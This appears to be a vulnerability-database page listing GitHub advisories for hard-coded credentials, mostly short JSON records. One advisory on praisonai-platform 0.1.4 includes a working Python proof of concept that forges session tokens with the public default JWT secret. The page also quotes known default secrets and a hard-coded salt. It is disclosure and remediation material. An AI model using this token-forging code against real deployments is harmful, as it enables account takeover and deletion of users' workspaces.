CWE-798
Allowed-with-ReviewUse of Hard-coded Credentials
Abstraction: Base · Status: Draft
The product contains hard-coded credentials, such as a password or cryptographic key.
2185 vulnerabilities reference this CWE, most recent first.
GHSA-F2W3-RC23-J83Q
Vulnerability from github – Published: 2022-05-24 17:28 – Updated: 2022-05-24 17:28An Authorization Bypass vulnerability on Micro Focus Operation Bridge Reporter, affecting version 10.40 and earlier. The vulnerability could allow remote attackers to access the OBR host as a non-admin user
{
"affected": [],
"aliases": [
"CVE-2020-11857"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-22T14:15:00Z",
"severity": "CRITICAL"
},
"details": "An Authorization Bypass vulnerability on Micro Focus Operation Bridge Reporter, affecting version 10.40 and earlier. The vulnerability could allow remote attackers to access the OBR host as a non-admin user",
"id": "GHSA-f2w3-rc23-j83q",
"modified": "2022-05-24T17:28:52Z",
"published": "2022-05-24T17:28:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11857"
},
{
"type": "WEB",
"url": "https://softwaresupport.softwaregrp.com/doc/KM03710590"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-1215"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162407/Micro-Focus-Operations-Bridge-Reporter-shrboadmin-Default-Password.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-F34M-7XRJ-GP7H
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32Versions of DocuTrac QuicDoc and Office Therapy that ship with DTISQLInstaller.exe version 1.6.4.0 and prior contains a hard-coded cryptographic salt, "S@l+&pepper".
{
"affected": [],
"aliases": [
"CVE-2018-5552"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-19T15:29:00Z",
"severity": "LOW"
},
"details": "Versions of DocuTrac QuicDoc and Office Therapy that ship with DTISQLInstaller.exe version 1.6.4.0 and prior contains a hard-coded cryptographic salt, \"S@l+\u0026pepper\".",
"id": "GHSA-f34m-7xrj-gp7h",
"modified": "2022-05-13T01:32:05Z",
"published": "2022-05-13T01:32:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5552"
},
{
"type": "WEB",
"url": "https://blog.rapid7.com/2018/03/14/r7-2018-01-cve-2018-5551-cve-2018-5552-docutrac-office-therapy-installer-hard-coded-credentials-and-cryptographic-salt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F35F-WMVQ-G2GH
Vulnerability from github – Published: 2022-08-06 00:00 – Updated: 2022-08-09 00:00A hard-coded password vulnerability exists in the libcommonprod.so prod_change_root_passwd functionality of TCL LinkHub Mesh Wi-Fi MS1G_00_01.00_14. During system startup this functionality is always called, leading to a known root password. An attacker does not have to do anything to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-22144"
],
"database_specific": {
"cwe_ids": [
"CWE-259",
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-05T22:15:00Z",
"severity": "CRITICAL"
},
"details": "A hard-coded password vulnerability exists in the libcommonprod.so prod_change_root_passwd functionality of TCL LinkHub Mesh Wi-Fi MS1G_00_01.00_14. During system startup this functionality is always called, leading to a known root password. An attacker does not have to do anything to trigger this vulnerability.",
"id": "GHSA-f35f-wmvq-g2gh",
"modified": "2022-08-09T00:00:21Z",
"published": "2022-08-06T00:00:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22144"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1459"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F38V-77QJ-H4JQ
Vulnerability from github – Published: 2026-06-18 14:27 – Updated: 2026-07-20 21:28-
Affected: praisonai-platform (PyPI) <= 0.1.4 — including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py
-
CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -> CWE-287 (Improper Authentication)
Overview
GHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform's JWT signing secret defaulted to the hardcoded literal "dev-secret-change-me", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != "dev", but PLATFORM_ENV defaults to "dev"). That advisory declares the issue patched in >= 0.1.4. It is not. The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to "dev-secret-change-me" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user — including a workspace owner.
Impact
Any deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key "dev-secret-change-me". The package's documented entry point — python -m praisonai_platform --host 0.0.0.0 --port 8000 (equivalently uvicorn praisonai_platform.api.app:app --host 0.0.0.0) — sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.
Consequences:
-
Complete authentication bypass (unauthenticated). Knowing only the public default secret read from source, an attacker mints HS256({"sub": , "email": …, "exp": }, "dev-secret-change-me"). The platform's own verifier accepts it and returns an authenticated identity for the attacker-chosen sub — no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.
-
Workspace-owner takeover (when a target owner's id is known). Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner's id — which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).
-
Resource destruction / lock-out (A:H). Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members — irrecoverable denial of the workspace to its rightful users.
-
Affected population: every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 — the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.
PR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner's user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.
Technical Details
All references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical — sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout — so the patched release and current main carry the same defect verbatim.
1. Module-load guard is default-open (services/auth_service.py:25-34).
DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
raise RuntimeError(
"PLATFORM_JWT_SECRET must be set to a strong random value in production. "
"Set PLATFORM_ENV=dev to suppress this check during development."
)
The raise fires only when PLATFORM_ENV != "dev". But os.environ.get("PLATFORM_ENV", "dev") defaults to "dev", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly — no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and ("dev" != "dev") = False; the guard does not fire and JWT_SECRET stays "dev-secret-change-me".
2. The 0.1.4 "fix" duplicated the same default-open guard (services/auth_service.py:114-128). Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:
def _issue_token(self, user: User) -> str:
if JWT_SECRET == DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
raise RuntimeError("Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev")
...
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) # signs with the default secret
GHSA-3qg8 states the intended fix is to "fail-closed at import time when the secret is the default, regardless of any environment variable." HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != "dev" condition that is false by default. The advisory's own patch threshold (>= 0.1.4) is therefore incorrect — 0.1.4 is still vulnerable.
3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -> api/deps.py:28-73).
def _verify_token(self, token):
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) # default secret; alg pinned; exp checked
return AuthIdentity(id=payload["sub"], type="user", email=payload.get("email"), name=payload.get("name"))
get_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).
The cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.
Reproduction
praisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package's own AuthService._verify_token.
mkdir poc && cd poc
pip install --target ./pkgs praisonai-platform==0.1.4 PyJWT
python3 poc.py
# poc.py
import os, sys
os.environ.pop("PLATFORM_JWT_SECRET", None) # default deployment: secret not set
os.environ.pop("PLATFORM_ENV", None) # default deployment: env not set -> guard default-open
sys.path.insert(0, "./pkgs")
from datetime import datetime, timedelta, timezone
import jwt
VICTIM_SUB = "11111111-2222-4333-8444-deadbeefcafe" # a target user/owner uuid4
now = datetime.now(timezone.utc)
forged = jwt.encode(
{"sub": VICTIM_SUB, "email": "victim@target", "name": "victim",
"iat": now, "exp": now + timedelta(hours=1)},
"dev-secret-change-me", algorithm="HS256", # the public hardcoded default
)
from praisonai_platform.services import auth_service as A
print("package JWT_SECRET (env unset) =", repr(A.JWT_SECRET), "| == default?", A.JWT_SECRET == "dev-secret-change-me")
identity = A.AuthService.__new__(A.AuthService)._verify_token(forged) # the package's own verifier
print("package _verify_token(forged) =", identity)
assert identity is not None and identity.id == VICTIM_SUB
print("RESULT: CONFIRMED — forged token accepted as victim")
End-to-end (runtime) verification
Observed output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 "patched" release):
package JWT_SECRET (env unset) = 'dev-secret-change-me' | == default? True
package _verify_token(forged) = AuthIdentity(id='11111111-2222-4333-8444-deadbeefcafe', type='user', workspace_id=None, roles=[], email='victim@target', name='victim', metadata={})
RESULT: CONFIRMED — forged token accepted as victim
This is the package's own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.
Default-open contrast
Setting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import — demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:
PLATFORM_ENV=prod python3 -c "import praisonai_platform.services.auth_service"
File ".../praisonai_platform/services/auth_service.py", line 31, in <module>
raise RuntimeError(
RuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.
The guard can fail closed — it simply does not in the default (PLATFORM_ENV unset → "dev") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.
Suggested Fix
Fail closed, independent of PLATFORM_ENV:
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
if not JWT_SECRET:
raise RuntimeError("PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.")
if JWT_SECRET == "dev-secret-change-me":
raise RuntimeError("PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.")
-
Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default — do not gate that check on PLATFORM_ENV, whose default value ("dev") is precisely what disables the check.
-
Apply the same to the duplicated guard in _issue_token.
-
Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.
Disclosure Timeline
-
2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package's own AuthService._verify_token.
-
2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).
References
-
Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 — "praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me … when PLATFORM_ENV is unset" (Critical, 9.8).
-
Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).
-
Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = "0.1.4"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).
-
Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total — this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) — alongside several High/Medium IDOR advisories.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.4"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57148"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-287",
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:27:08Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "- Affected: praisonai-platform (PyPI) \u003c= 0.1.4 \u2014 including 0.1.4, the version GHSA-3qg8-5g3r-79v5 declares as the patch; main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c is also affected. File src/praisonai-platform/praisonai_platform/services/auth_service.py\n\n- CWE: CWE-1188 (Insecure Default Initialization) + CWE-798 (Use of Hard-coded Credentials) -\u003e CWE-287 (Improper Authentication)\n\n## Overview\n\nGHSA-3qg8-5g3r-79v5 (Critical) reported that praisonai-platform\u0027s JWT signing secret defaulted to the hardcoded literal \"dev-secret-change-me\", and that the production guard meant to prevent this was default-open (it only fired when PLATFORM_ENV != \"dev\", but PLATFORM_ENV defaults to \"dev\"). That advisory declares the issue patched in \u003e= 0.1.4. **It is not.** The shipped praisonai-platform==0.1.4 (and current main) still resolves the signing key to \"dev-secret-change-me\" in any deployment that does not explicitly set PLATFORM_JWT_SECRET, because the 0.1.4 change merely duplicated the same default-open guard into a second function instead of failing closed. An unauthenticated attacker reads the literal from the public source, forges a JWT with an arbitrary sub, and is authenticated as that user \u2014 including a workspace owner.\n\n## Impact\n\nAny deployment that runs praisonai-platform 0.1.4 without explicitly exporting a strong PLATFORM_JWT_SECRET signs and verifies session JWTs with the publicly known key \"dev-secret-change-me\". The package\u0027s documented entry point \u2014 `python -m praisonai_platform --host 0.0.0.0 --port 8000` (equivalently `uvicorn praisonai_platform.api.app:app --host 0.0.0.0`) \u2014 sets neither PLATFORM_JWT_SECRET nor PLATFORM_ENV, so this is the default state, not an edge case. A repository-wide search finds both variables only at the two guard sites and in test fixtures; no shipped Dockerfile, compose file, or deployment doc sets either.\n\nConsequences:\n\n- **Complete authentication bypass (unauthenticated).** Knowing only the public default secret read from source, an attacker mints HS256({\"sub\": \u003cuser id\u003e, \"email\": \u2026, \"exp\": \u003cfuture\u003e}, \"dev-secret-change-me\"). The platform\u0027s own verifier accepts it and returns an authenticated identity for the attacker-chosen sub \u2014 no account and no prior access required. This is the headline defect: the identical break GHSA-3qg8 was scored 9.8 for.\n\n- **Workspace-owner takeover (when a target owner\u0027s id is known).** Forging the sub of a workspace owner satisfies require_workspace_member / require_workspace_owner and the owner-gated routes, yielding owner-level read/update/delete of every resource in that workspace plus member/role management. uuid4 user ids are unguessable, so impersonating a specific owner additionally requires learning that owner\u0027s id \u2014 which any co-member can read directly from GET /{workspace_id}/members (returns List[MemberResponse], each carrying user_id and role, to any holder of require_workspace_member), and which also surfaces in logs and referrals. The end state matches the three Critical advisories of the 0.1.4 wave (this one, plus GHSA-c2m8-4gcg-v22g 9.6 and GHSA-h8q5-cp56-rr65).\n\n- **Resource destruction / lock-out (A:H).** Owner impersonation reaches DELETE /workspaces/{workspace_id} (gated by require_workspace_owner), which deletes the entire workspace and every contained resource, and DELETE /{workspace_id}/members/{user_id}, which evicts legitimate members \u2014 irrecoverable denial of the workspace to its rightful users.\n\n- **Affected population:** every default (no PLATFORM_JWT_SECRET) deployment of 0.1.4 \u2014 the version users upgrade to specifically because GHSA-3qg8 told them 0.1.4 is fixed.\n\nPR:N / AC:L apply to the authentication-bypass primitive: minting a valid session for a known sub needs no account, only the public secret. Targeted takeover of a specific owner additionally requires that owner\u0027s user id (readable by any co-member from the member-list response above, or recoverable from logs / prior exposure); this conditions the highest-impact path but not the bypass itself. The vector matches the PR:N/9.8 GitHub assigned the original GHSA-3qg8 for the identical defect.\n\n## Technical Details\n\nAll references are to src/praisonai-platform/praisonai_platform/... in praisonai-platform==0.1.4 (PyPI sdist) and main HEAD 8acf77c. The two copies of services/auth_service.py are byte-identical \u2014 sha256 = cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258 for both the shipped 0.1.4 sdist and the HEAD checkout \u2014 so the patched release and current main carry the same defect verbatim.\n\n**1. Module-load guard is default-open (services/auth_service.py:25-34).**\n\n```python\nDEFAULT_SECRET = \"dev-secret-change-me\"\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\", DEFAULT_SECRET)\nJWT_ALGORITHM = \"HS256\"\nJWT_TTL_SECONDS = int(os.environ.get(\"PLATFORM_JWT_TTL\", str(30 * 24 * 3600)))\nif JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n raise RuntimeError(\n \"PLATFORM_JWT_SECRET must be set to a strong random value in production. \"\n \"Set PLATFORM_ENV=dev to suppress this check during development.\"\n )\n```\n\nThe raise fires only when PLATFORM_ENV != \"dev\". But os.environ.get(\"PLATFORM_ENV\", \"dev\") defaults to \"dev\", and PLATFORM_ENV is set nowhere in the package or its deployment configuration (a repo-wide search finds PLATFORM_ENV only at these two guard sites, and PLATFORM_JWT_SECRET only here plus in tests/ fixtures that set it explicitly \u2014 no Dockerfile, compose file, or doc sets either). So in a clean deployment the predicate is True and (\"dev\" != \"dev\") = False; the guard does not fire and JWT_SECRET stays \"dev-secret-change-me\".\n\n**2. The 0.1.4 \"fix\" duplicated the same default-open guard (services/auth_service.py:114-128).** Instead of failing closed, 0.1.4 added the identical predicate to _issue_token:\n\n```python\ndef _issue_token(self, user: User) -\u003e str:\n if JWT_SECRET == DEFAULT_SECRET and os.environ.get(\"PLATFORM_ENV\", \"dev\") != \"dev\":\n raise RuntimeError(\"Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev\")\n ...\n return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM) # signs with the default secret\n```\n\nGHSA-3qg8 states the intended fix is to \"fail-closed at import time when the secret is the default, regardless of any environment variable.\" HEAD does not do that; both guard copies remain gated on the PLATFORM_ENV != \"dev\" condition that is false by default. The advisory\u0027s own patch threshold (\u003e= 0.1.4) is therefore incorrect \u2014 0.1.4 is still vulnerable.\n\n**3. Verification trusts the forged sub end-to-end (services/auth_service.py:131-141 -\u003e api/deps.py:28-73).**\n\n```python\ndef _verify_token(self, token):\n payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) # default secret; alg pinned; exp checked\n return AuthIdentity(id=payload[\"sub\"], type=\"user\", email=payload.get(\"email\"), name=payload.get(\"name\"))\n```\n\nget_current_user (deps.py:28) returns this identity directly; require_workspace_member (deps.py:54) authorizes purely from member_svc.has_role(workspace_id, identity.id, min_role) against the forged sub. Decoding is otherwise sound (HS256 pinned, exp enforced by PyJWT, no verify=False), so the only break is the default secret. No middleware or app-factory check re-validates (api/app.py mounts the routers with per-route Depends(get_current_user) and no global re-root).\n\nThe cross-workspace IDOR (GHSA-h8q5-cp56-rr65) and member-role privilege-escalation (GHSA-c2m8-4gcg-v22g) fixes were reviewed at HEAD and appear complete; this advisory is specific to the JWT-secret guard.\n\n## Reproduction\n\npraisonai-platform is a Python server package, so the PoC is a self-contained Python reproducer that installs the shipped 0.1.4 release, simulates a default deployment (no env vars), forges a token with the public default secret, and feeds it to the package\u0027s own AuthService._verify_token.\n\n```bash\nmkdir poc \u0026\u0026 cd poc\npip install --target ./pkgs praisonai-platform==0.1.4 PyJWT\npython3 poc.py\n```\n\n```python\n# poc.py\nimport os, sys\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None) # default deployment: secret not set\nos.environ.pop(\"PLATFORM_ENV\", None) # default deployment: env not set -\u003e guard default-open\nsys.path.insert(0, \"./pkgs\")\n\nfrom datetime import datetime, timedelta, timezone\nimport jwt\n\nVICTIM_SUB = \"11111111-2222-4333-8444-deadbeefcafe\" # a target user/owner uuid4\nnow = datetime.now(timezone.utc)\nforged = jwt.encode(\n {\"sub\": VICTIM_SUB, \"email\": \"victim@target\", \"name\": \"victim\",\n \"iat\": now, \"exp\": now + timedelta(hours=1)},\n \"dev-secret-change-me\", algorithm=\"HS256\", # the public hardcoded default\n)\n\nfrom praisonai_platform.services import auth_service as A\nprint(\"package JWT_SECRET (env unset) =\", repr(A.JWT_SECRET), \"| == default?\", A.JWT_SECRET == \"dev-secret-change-me\")\nidentity = A.AuthService.__new__(A.AuthService)._verify_token(forged) # the package\u0027s own verifier\nprint(\"package _verify_token(forged) =\", identity)\nassert identity is not None and identity.id == VICTIM_SUB\nprint(\"RESULT: CONFIRMED \u2014 forged token accepted as victim\")\n```\n\n### End-to-end (runtime) verification\n\nObserved output, run against the actually-installed praisonai-platform==0.1.4 (the GHSA-3qg8 \"patched\" release):\n\n```text\npackage JWT_SECRET (env unset) = \u0027dev-secret-change-me\u0027 | == default? True\npackage _verify_token(forged) = AuthIdentity(id=\u002711111111-2222-4333-8444-deadbeefcafe\u0027, type=\u0027user\u0027, workspace_id=None, roles=[], email=\u0027victim@target\u0027, name=\u0027victim\u0027, metadata={})\nRESULT: CONFIRMED \u2014 forged token accepted as victim\n```\n\nThis is the package\u0027s own _verify_token (not a re-implementation) returning an authenticated AuthIdentity for an attacker-chosen sub, proving end-to-end that 0.1.4 accepts forged sessions in a default deployment. The intermediate observation (the module-level JWT_SECRET equals the public default) and the final sink (the verifier returns the victim identity) were both observed at runtime.\n\n### Default-open contrast\n\nSetting only PLATFORM_ENV (still no PLATFORM_JWT_SECRET) makes the same guard fire at import \u2014 demonstrating that the only thing protecting a production deployment is an environment variable that defaults to the unsafe value:\n\n```bash\nPLATFORM_ENV=prod python3 -c \"import praisonai_platform.services.auth_service\"\n```\n\n```text\n File \".../praisonai_platform/services/auth_service.py\", line 31, in \u003cmodule\u003e\n raise RuntimeError(\nRuntimeError: PLATFORM_JWT_SECRET must be set to a strong random value in production. Set PLATFORM_ENV=dev to suppress this check during development.\n```\n\nThe guard can fail closed \u2014 it simply does not in the default (PLATFORM_ENV unset \u2192 \"dev\") state, which is exactly what GHSA-3qg8 reported and 0.1.4 left unchanged.\n\n## Suggested Fix\n\nFail closed, independent of PLATFORM_ENV:\n\n```python\nJWT_SECRET = os.environ.get(\"PLATFORM_JWT_SECRET\")\nif not JWT_SECRET:\n raise RuntimeError(\"PLATFORM_JWT_SECRET must be set to a strong random value; refusing to start with a default key.\")\nif JWT_SECRET == \"dev-secret-change-me\":\n raise RuntimeError(\"PLATFORM_JWT_SECRET is the well-known default; set a unique strong value.\")\n```\n\n- Remove the _DEFAULT_SECRET fallback entirely (no default signing key), or at minimum raise unconditionally when the secret is the default \u2014 do **not** gate that check on PLATFORM_ENV, whose default value (\"dev\") is precisely what disables the check.\n\n- Apply the same to the duplicated guard in _issue_token.\n\n- Consider generating a random per-process secret only for an explicit, clearly-flagged dev mode (e.g. PLATFORM_ENV=dev opt-in), so the safe default is fail-closed.\n\n## Disclosure Timeline\n\n- 2026-05-30: Discovered as an incomplete fix of GHSA-3qg8-5g3r-79v5 while auditing praisonai-platform at main HEAD 8acf77c. Runtime-confirmed against the shipped PyPI release praisonai-platform==0.1.4: a token forged with the public default secret is accepted by the package\u0027s own AuthService._verify_token.\n\n- 2026-05-30: Drafted for submission via GitHub Security Advisory (PraisonAI).\n\n## References\n\n- Original advisory (declares 0.1.4 patched): GHSA-3qg8-5g3r-79v5 \u2014 \"praisonai-platform: JWT signing key defaults to hardcoded dev-secret-change-me \u2026 when PLATFORM_ENV is unset\" (Critical, 9.8).\n\n- Affected source: src/praisonai-platform/praisonai_platform/services/auth_service.py:25-34 (module guard), :114-128 (_issue_token duplicate guard + sign), :130-141 (_verify_token); api/deps.py:28-73 (get_current_user, require_workspace_member); api/app.py (router mounting, no global auth re-root).\n\n- Shipped artifact verified: praisonai-platform==0.1.4 PyPI sdist (pyproject.toml:7 version = \"0.1.4\"); auth_service.py is byte-identical to main HEAD 8acf77c531e624c46d3d61dcae37e9942e90972c (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).\n\n- Sibling advisories from the same 0.1.4 wave (reviewed, fixes appear complete at HEAD): the wave closed three Critical advisories in total \u2014 this one (GHSA-3qg8-5g3r-79v5, 9.8) plus GHSA-c2m8-4gcg-v22g (member-role privilege escalation, 9.6) and GHSA-h8q5-cp56-rr65 (cross-workspace IDOR + role escalation) \u2014 alongside several High/Medium IDOR advisories.",
"id": "GHSA-f38v-77qj-h4jq",
"modified": "2026-07-20T21:28:41Z",
"published": "2026-06-18T14:27:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f38v-77qj-h4jq"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)"
}
GHSA-F3G2-F685-R373
Vulnerability from github – Published: 2022-08-30 00:00 – Updated: 2022-09-03 00:00Seiko SkyBridge MB-A100/A110 v4.2.0 and below implements a hard-coded passcode for the root account. Attackers are able to access the passcord via the file /etc/ciel.cfg.
{
"affected": [],
"aliases": [
"CVE-2022-36558"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-29T23:15:00Z",
"severity": "CRITICAL"
},
"details": "Seiko SkyBridge MB-A100/A110 v4.2.0 and below implements a hard-coded passcode for the root account. Attackers are able to access the passcord via the file /etc/ciel.cfg.",
"id": "GHSA-f3g2-f685-r373",
"modified": "2022-09-03T00:00:17Z",
"published": "2022-08-30T00:00:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36558"
},
{
"type": "WEB",
"url": "https://gist.github.com/Nwqda/88232102fed50b54c43871e88e993b54"
},
{
"type": "WEB",
"url": "https://www.seiko-sol.co.jp/products/skybridge/lineup/mb-a100"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F3P3-F3C5-VGR3
Vulnerability from github – Published: 2026-01-08 00:31 – Updated: 2026-01-08 00:31INIM Electronics Smartliving SmartLAN/G/SI <=6.x contains hard-coded credentials in its Linux distribution image that cannot be changed through normal device operations. Attackers can exploit these persistent credentials to log in and gain unauthorized system access across multiple SmartLiving device models.
{
"affected": [],
"aliases": [
"CVE-2019-25291"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": false,
"github_reviewed_at": null,
